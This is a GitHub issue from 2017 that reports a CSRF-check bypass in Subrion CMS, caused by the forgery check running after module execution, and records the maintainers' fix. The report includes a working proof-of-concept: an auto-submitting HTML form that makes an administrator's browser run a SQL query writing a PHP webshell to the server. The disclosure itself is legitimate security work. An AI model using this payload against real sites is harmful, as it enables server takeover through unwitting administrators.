Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

Sign up for GitHub

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Jump to bottom

CSRF Token Bypass because of code logic error. #547

Closed
Xmansec opened this issue Oct 1, 2017 · 1 comment
Closed

CSRF Token Bypass because of code logic error. #547

Xmansec opened this issue Oct 1, 2017 · 1 comment
Labels
critical
Milestone
4.2.0

Comments

@Xmansec
Copy link

Xmansec commented Oct 1, 2017

There are CSRF vulnerabilities At Subrion CMS because of code logic error.Although the check function is set in the program, its location does not appear to be correct in ia.core.php.

$this->_defineModule();
$this->iaView->defineOutput();
$this->_checkPermissions();
$this->_executeModule();
$this->_forgeryCheck();

_forgeryCheck() should be executed first and then _executeModule().
For example,we can use this vulnerability to get a webshell.First,we create a html page which can simulate the function of the SQL tool.

<HTML>
<BODY>
<form action="http://10.108.43.128/code/subrion/panel/database/" id="CSRF" method="post">
<input type="hidden" name="query" value="select '<?php phpinfo();?>' into outfile 'D:/phpStudy/WWW/code/subrion/shell.php';">
<input type="hidden" name="show_query" value="1">
<input type="hidden" name="exec_query" value="Go">
</form>
<script>
var f = document.getElementById("CSRF");
f.submit();
</script>
</BODY>
</HTML>

When the administrator visit the page, even though it will echo "Request treated as a potential CSRF attack.",the SQL statement has been executed and the webshell has been created.
@ghost ghost self-assigned this Oct 2, 2017
@vbezruchkin vbezruchkin added this to the 4.2.0 milestone Oct 2, 2017
ghost pushed a commit that referenced this issue Oct 10, 2017
@jangaraev
#547
5fdf03a
ghost pushed a commit that referenced this issue Oct 10, 2017
@jangaraev
#547 - unused class variable
65fb937
@ghost
Copy link

ghost commented Oct 10, 2017

Thanks for report, @Xmansec!
Fixed.

@ghost ghost closed this as completed Oct 10, 2017
This issue was closed.
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Assignees
No one assigned
Labels
critical
Projects
None yet
Milestone
4.2.0
Development

No branches or pull requests
2 participants
@vbezruchkin @Xmansec